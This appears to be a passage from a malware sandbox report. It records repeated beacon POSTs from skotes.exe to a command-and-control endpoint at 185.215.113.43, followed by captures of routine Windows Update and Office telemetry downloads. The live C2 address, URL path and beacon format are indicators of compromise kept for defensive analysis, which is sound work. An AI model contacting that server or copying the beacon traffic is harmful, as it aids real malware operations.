Nov 20, 2024 04:12:51.691555977 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:52.394428015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	63655	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:54.022756100 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:54.746089935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	63656	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:56.273365021 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:12:56.969369888 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	63658	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:12:58.606584072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:12:59.334331036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	63659	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:00.859839916 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:01.591902018 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	63660	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:03.211411953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:03.907645941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	63661	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:05.421797991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:06.120256901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	63662	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:07.755527020 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:08.449150085 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	63664	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:09.968638897 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:10.681179047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	63665	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:12.298495054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:13.067831039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	63666	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:14.594985008 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:15.319472075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	63667	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:16.943393946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:17.646212101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	63669	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:19.157063961 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:19.872016907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	63670	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:21.490544081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:22.181519032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	63671	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:23.702848911 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:24.397705078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	63672	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:26.035681963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:26.725200891 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	63674	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:28.246778011 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 20, 2024 04:13:28.948540926 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	63675	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:13:30.579351902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 04:13:31.288170099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VgLHUuHsbgWy6a5&MD=WWhbNRcU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 03:07:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4ef1010b-9b2b-449c-9ec7-3c9b5c1c375f MS-RequestId: 36f744e2-58a3-44ba-bbd1-5fe5cded5ada MS-CV: fXV6wDfLxkyc2dxM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 03:07:19 GMT Connection: close Content-Length: 24490
2024-11-20 03:07:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 03:07:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	62354	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:07:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:07:57 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:07:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030757Z-1777c6cb754xjpthhC1TEBexs800000008ug00000000ge6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:07:57 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 03:07:57 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 